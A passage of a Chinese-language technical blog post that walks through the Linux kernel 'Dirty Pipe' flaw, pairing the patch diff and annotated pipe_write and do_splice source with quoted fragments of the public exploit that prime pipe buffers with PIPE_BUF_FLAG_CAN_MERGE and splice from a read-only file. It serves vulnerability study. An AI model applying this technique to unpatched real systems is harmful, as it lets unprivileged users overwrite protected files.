buf-&gt;ops = &amp;page_cache_pipe_buf_ops;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">+    buf-&gt;flags = 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">     get_page(page);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">     buf-&gt;page = page;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">     buf-&gt;offset = offset;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             break;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">         buf-&gt;ops = &amp;default_pipe_buf_ops;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">+        buf-&gt;flags = 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">         buf-&gt;page = page;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">         buf-&gt;offset = 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">         buf-&gt;len = min_t(ssize_t, left, PAGE_SIZE);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">根据作者的说法，在<span style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">commit 241699cd72a8 “new iov_iter flavour: pipe-backed” (Linux 4.9, 2016)<sup style="box-sizing: border-box;">[4]</sup></span>中新增的两个函数即可实现任意设置<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">pipe_buffer</code>的属性，但是并不能造成什么实际的影响，直到linux5.8的commit引入了可以注入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code>。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">下面对着Linux源码和作者公开的exploit调试分析一下。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">3）创建带<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 17.28px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code>的空pipe_buf</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">exp中的代码如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // 将pipe的缓冲区全部打上标签，因为pipe的缓冲区是环形数组，每个成员指向一个内存页</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    for (unsigned r = pipe_size; r &gt; 0;) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        write(p[1], buffer, n);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        r -= n;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">write</code>在内核中调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">pipe_write</code>，pipe的缓冲区在内核中的实现是一个环形数组，数组的每个元素映射一个内存页。只要缓冲区未满则向管道写入数据，非direct io模式会打上flag<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">// pipe.c#414</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">static ssize_t</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">pipe_write(struct kiocb *iocb, struct iov_iter *from)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // #488: pipe缓冲区未满</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (!pipe_full(head, pipe-&gt;tail, pipe-&gt;max_usage)) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        unsigned int mask = pipe-&gt;ring_size - 1;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        // 获取pipe的缓冲区及pipe的临时页tmp_page，后续用于pipe_buf的初始化</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        struct pipe_buffer *buf = &amp;pipe-&gt;bufs[head &amp; mask];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        struct page *page = pipe-&gt;tmp_page;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        // #519: 初始化buf</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        /* Insert it into the buffer array */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        buf = &amp;pipe-&gt;bufs[head &amp; mask];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        buf-&gt;page = page;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        buf-&gt;ops = &amp;anon_pipe_buf_ops;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        buf-&gt;offset = 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        buf-&gt;len = 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        // #525: 非DIRECT IO，利用OS的Page Cache向另端写，同时打上PIPE_BUF_FLAG_CAN_MERGE</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (is_packetized(filp)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            buf-&gt;flags = PIPE_BUF_FLAG_PACKET;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        else</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            buf-&gt;flags = PIPE_BUF_FLAG_CAN_MERGE;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">后续通过read读空pipe管道缓冲区</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    /* drain the pipe, freeing all pipe_buffer instances (but</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">       leaving the flags initialized) */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    for (unsigned r = pipe_size; r &gt; 0;) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        read(p[0], buffer, n);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        r -= n;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    }</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">4）利用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 17.28px;background: rgb(248, 245, 236);border-radius: 2px;">splice</code>的零拷贝绑定pipe_buf-&gt;page到page_cache</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">继续，exp中通过<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">splice</code>底层的零拷贝机制，将pipe的buf_page引用到文件的page_cache</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    /* open the input file and validate the specified offset */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    const int fd = open(path, O_RDONLY); // yes, read-only! :-)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    /* splice one byte from before the specified offset into the</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">       pipe; this will add a reference to the page cache, but</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">       since copy_page_to_iter_pipe() does not initialize the</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">       &#34;flags&#34;, PIPE_BUF_FLAG_CAN_MERGE is still set */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    --offset;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    ssize_t nbytes = splice(fd, &amp;offset, p[1], NULL, 1, 0);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如上代码，splice的参数1为644权限的文件passwd1的句柄，参数3为pipe的写入端，即读取passwd1的数据到pipe管道中。splice在内核中调用函数<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">do_splice</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">// splice.c#1025</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/*</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * Determine where to splice to/from.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">long do_splice(struct file *in, loff_t *off_in, struct file *out,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">           loff_t *off_out, size_t len, unsigned int flags)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // #1036: 判断in是否具有读权限，out是否具有写权限。</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    //        权限检查失败则return</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (unlikely(!(in-&gt;f_mode &amp; FMODE_READ) ||</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">                 !(out-&gt;f_mode &amp; FMODE_WRITE)))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        return -EBADF;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // 获取in和out的pipe指针，实际上是针对pipe类型文件才具有，</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // create_pipe_files时会保留pipe的指针在FILE结构的private_data中</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // 根据exp分析，这里ipipe会为null，而opipe获取成功</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    ipipe = get_pipe_info(in, true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    opipe = get_pipe_info(out, true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // 管道对接管道 </span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (ipipe &amp;&amp; opipe) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        return splice_pipe_to_pipe(ipipe, opipe, len, flags);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // 只有入方向为管道</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (ipipe &amp;&amp; opipe) {   </span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, 